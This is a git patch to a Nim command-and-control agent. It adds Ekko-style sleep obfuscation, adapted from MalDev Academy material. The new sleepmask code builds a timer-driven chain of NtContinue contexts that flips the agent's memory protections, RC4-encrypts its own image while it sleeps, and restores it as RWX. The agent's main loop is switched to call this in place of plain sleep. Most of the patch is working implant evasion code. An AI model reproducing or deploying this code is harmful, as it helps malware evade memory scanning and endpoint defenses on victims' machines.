From 00866b30cd5105f33bbd03943bda4b07f633a47c Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Wed, 27 Aug 2025 00:27:50 +0200 Subject: [PATCH] Implemented basic sleep obfuscation via the Ekko technique using WinAPI. Improvement needed! --- src/agent/core/sleepmask.nim | 210 ++++++++++++++++++++++++++++++++++- src/agent/main.nim | 8 +- src/common/crypto.nim | 2 +- src/common/types.nim | 2 + src/common/utils.nim | 2 +- 5 files changed, 218 insertions(+), 6 deletions(-) diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index f51ca61..d06aa4d 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -1,3 +1,209 @@ -import winim/lean +import winim/lean +import strformat +import ../../common/[types, utils, crypto] -# Sleep obfuscation based on Ekko (by C5pider) \ No newline at end of file +import sugar + +# Sleep obfuscation implementation based on Ekko, originally developed by C5pider +# The code in this file was taken from the MalDev Academy modules 54,56 & 59 and translated from C to Nim +# https://maldevacademy.com/new/modules/54?view=blocks + +type + USTRING* {.bycopy.} = object + Length*: DWORD + MaximumLength*: DWORD + Buffer*: PVOID + + EVENT_TYPE = enum + NotificationEvent, + SynchronizationEvent + +# Required Windows APIs +proc RegisterWaitForSingleObject*(phNewWaitObject: PHANDLE, hObject: HANDLE, Callback: WAITORTIMERCALLBACK, Context: PVOID, dwMilliseconds: ULONG, dwFlags: ULONG): WINBOOL {.winapi, stdcall, dynlib: "kernel32", importc.} +proc CreateTimerQueueTimer*(phNewTimer: PHANDLE, TimerQueue: HANDLE, Callback: WAITORTIMERCALLBACK, Parameter: PVOID, DueTime: DWORD, Period: DWORD, Flags: ULONG): WINBOOL {.winapi, stdcall, dynlib: "kernel32", importc.} +proc DeleteTimerQueue*(TimerQueue: HANDLE): WINBOOL {.winapi, stdcall, dynlib: "kernel32", importc.} +proc CreateEventW*(lpEventAttributes: LPSECURITY_ATTRIBUTES, bManualReset: WINBOOL, bInitialState: WINBOOL, lpName: LPCWSTR): HANDLE {.winapi, stdcall, dynlib: "kernel32", importc.} +# proc WaitForSingleObject*(hHandle: HANDLE, dwMilliseconds: DWORD): DWORD {.winapi, stdcall, dynlib: "kernel32", importc.} + +# https://ntdoc.m417z.com/rtlcreatetimerqueue +proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} +# https://ntdoc.m417z.com/ntcreateevent +proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} +# https://ntdoc.m417z.com/rtlcreatetimer (Using FARPROC instead of PRTL_TIMER_CALLBACK, as thats the type of NtContinue) +proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} +# https://ntdoc.m417z.com/ntsignalandwaitforsingleobject +proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} +# proc NtWaitForSingleObject(hHandle: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.} + + + +proc sleepMask*(sleepDelay: int) = + + var + status: NTSTATUS = 0 + key: USTRING = USTRING(Length: 0) + img: USTRING = USTRING(Length: 0) + ctx: array[6, CONTEXT] + ctxInit: CONTEXT + hEvent: HANDLE + eventStart: HANDLE + eventEnd: HANDLE + queue: HANDLE + timer: HANDLE + value: DWORD = 0 + delay: DWORD = 0 + + var + NtContinue = GetProcAddress(GetModuleHandleA("ntdll"), "NtContinue") + SystemFunction032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032") + + # Locate image base and size + var imageBase = GetModuleHandleA(NULL) + var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage + + # echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)" + + img.Buffer = cast[PVOID](imageBase) + img.Length = imageSize + + # Generate random encryption key + var rnd: string = Bytes.toString(generateBytes(Key16)) + key.Buffer = rnd.addr + key.Length = cast[DWORD](rnd.len()) + + # # Create timer queue + # status = RtlCreateTimerQueue(addr queue) + # if status != STATUS_SUCCESS: + # raise newException(CatchableError, $status) + + # # Create events + # status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + # if status != STATUS_SUCCESS: + # raise newException(CatchableError, $status) + + # status = NtCreateEvent(addr eventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + # if status != STATUS_SUCCESS: + # raise newException(CatchableError, $status) + + # status = NtCreateEvent(addr eventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + # if status != STATUS_SUCCESS: + # raise newException(CatchableError, $status) + + # delay += 100 + # status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD) + # if status == STATUS_SUCCESS: + + # # Prepare ROP Chain + # # Initially, each element in this array will have the same context as the timer's thread context + # for i in 0 ..< ctx.len(): + # copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) + # dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer + + # # ROP Chain + # # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. + # ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) + # ctx[0].Rcx = cast[DWORD64](eventStart) + # ctx[0].Rdx = cast[DWORD64](INFINITE) + # ctx[0].R8 = cast[DWORD64](NULL) + + # # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] + # ctx[1].Rip = cast[DWORD64](VirtualProtect) + # ctx[1].Rcx = cast[DWORD64](imageBase) + # ctx[1].Rdx = cast[DWORD64](imageSize) + # ctx[1].R8 = PAGE_READWRITE + # ctx[1].R9 = cast[DWORD64](addr value) + + # # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. + # ctx[2].Rip = cast[DWORD64](SystemFunction032) + # ctx[2].Rcx = cast[DWORD64](addr img) + # ctx[2].Rdx = cast[DWORD64](addr key) + + # # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. + # ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx) + # ctx[3].Rcx = cast[DWORD64](GetCurrentProcess()) + # ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) + # # ctx[3].R8 = cast[DWORD64](FALSE) + + # # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory + # ctx[4].Rip = cast[DWORD64](SystemFunction032) + # ctx[4].Rcx = cast[DWORD64](addr img) + # ctx[4].Rdx = cast[DWORD64](addr key) + + # # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] + # ctx[5].Rip = cast[DWORD64](VirtualProtect) + # ctx[5].Rcx = cast[DWORD64](imageBase) + # ctx[5].Rdx = cast[DWORD64](imageSize) + # ctx[5].R9 = cast[DWORD64](addr value) + + # # ctx[6] contains the call to the SetEvent WinAPI that will set eventEnd event object in a signaled state. This with signal that the obfuscation chain is complete + # ctx[6].Rip = cast[DWORD64](SetEvent) + # ctx[6].Rcx = cast[DWORD64](eventEnd) + + # echo "[*] Queue sleep obfuscation chain" + + # # Execute timers + # for i in 0 ..< ctx.len(): + # delay += 100 + # status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) + # if status != STATUS_SUCCESS: + # raise newException(CatchableError, $status) + + # echo "[*] Trigger sleep obfuscation chain" + + # status = NtSignalAndWaitForSingleObject(eventStart, eventEnd, FALSE, NULL) + # if status != STATUS_SUCCESS: + # raise newException(CatchableError, $status) + + hEvent = CreateEventW(nil, 0, 0, nil) + queue = CreateTimerQueue() + + if CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](RtlCaptureContext), addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD): + + WaitForSingleObject(hEvent, 0x32) + + # Prepare ROP Chain + # Initially, each element in this array will have the same context as the timer's thread context + for i in 0 ..< ctx.len(): + copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) + dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer + + # Change memory protection to [RW-] + ctx[0].Rip = cast[DWORD64](VirtualProtect) + ctx[0].Rcx = cast[DWORD64](imageBase) + ctx[0].Rdx = cast[DWORD64](imageSize) + ctx[0].R8 = PAGE_READWRITE + ctx[0].R9 = cast[DWORD64](addr value) + + # Encrypt image memory using RC4 via the SystemFunction032 function + ctx[1].Rip = cast[DWORD64](SystemFunction032) + ctx[1].Rcx = cast[DWORD64](addr img) + ctx[1].Rdx = cast[DWORD64](addr key) + + # Delay execution until a specific timeout has been reached + ctx[2].Rip = cast[DWORD64](WaitForSingleObject) + ctx[2].Rcx = cast[DWORD64](GetCurrentProcess()) + ctx[2].Rdx = cast[DWORD64](sleepDelay) + + # Decrypt the image memory back to its original state + ctx[3].Rip = cast[DWORD64](SystemFunction032) + ctx[3].Rcx = cast[DWORD64](addr img) + ctx[3].Rdx = cast[DWORD64](addr key) + + # Change the memory protection back to [RWX] + ctx[4].Rip = cast[DWORD64](VirtualProtect) + ctx[4].Rcx = cast[DWORD64](imageBase) + ctx[4].Rdx = cast[DWORD64](imageSize) + ctx[4].R8 = PAGE_EXECUTE_READWRITE + ctx[4].R9 = cast[DWORD64](addr value) + + # Signal that the obfuscation chain was completed + ctx[5].Rip = cast[DWORD64](SetEvent) + ctx[5].Rcx = cast[DWORD64](hEvent) + + for i in 0 ..< ctx.len(): + delay += 100 + CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](NtContinue), addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) + + WaitForSingleObject(hEvent, INFINITE) + + DeleteTimerQueue(queue) \ No newline at end of file diff --git a/src/agent/main.nim b/src/agent/main.nim index 05ac921..1fab966 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -1,6 +1,6 @@ import strformat, os, times, system, base64 -import core/[http, context] +import core/[http, context, sleepmask] import protocol/[task, result, heartbeat, registration] import ../modules/manager import ../common/[types, utils, crypto] @@ -32,10 +32,14 @@ proc main() = 4. If additional tasks have been fetched, go to 2. 5. If no more tasks need to be executed, go to 1. ]# + while true: # TODO: Replace with actual sleep obfuscation that encrypts agent memory - sleep(ctx.sleep * 1000) + + sleepMask(ctx.sleep * 1000) + + # sleep(ctx.sleep * 1000) let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo fmt"[{date}] Checking in." diff --git a/src/common/crypto.nim b/src/common/crypto.nim index 31ba2a3..dc5bc5a 100644 --- a/src/common/crypto.nim +++ b/src/common/crypto.nim @@ -7,7 +7,7 @@ import ./[types, utils] Symmetric AES256 GCM encryption for secure C2 traffic Ensures both confidentiality and integrity of the packet ]# -proc generateBytes*(T: typedesc[Key | Iv]): array = +proc generateBytes*(T: typedesc[Key | Iv | Key16]): array = var bytes: T if randomBytes(bytes) != sizeof(T): raise newException(CatchableError, protect("Failed to generate byte array.")) diff --git a/src/common/types.nim b/src/common/types.nim index 6825116..9d3a076 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -8,6 +8,7 @@ const MAGIC* = 0x514E3043'u32 # Magic value: C0NQ VERSION* = 1'u8 # Version 1 HEADER_SIZE* = 48'u8 # 48 bytes fixed packet header size + STATUS_SUCCESS = 0 type PacketType* = enum @@ -79,6 +80,7 @@ type Key* = array[32, byte] Iv* = array[12, byte] AuthenticationTag* = array[16, byte] + Key16* = array[16, byte] # Packet structure type diff --git a/src/common/utils.nim b/src/common/utils.nim index 22db0b9..dd3b587 100644 --- a/src/common/utils.nim +++ b/src/common/utils.nim @@ -3,7 +3,7 @@ import strutils, nimcrypto import ./types -proc toString*(T: type Bytes, data: seq[byte]): string = +proc toString*(T: type Bytes, data: openArray[byte]): string = result = newString(data.len) for i, b in data: result[i] = char(b)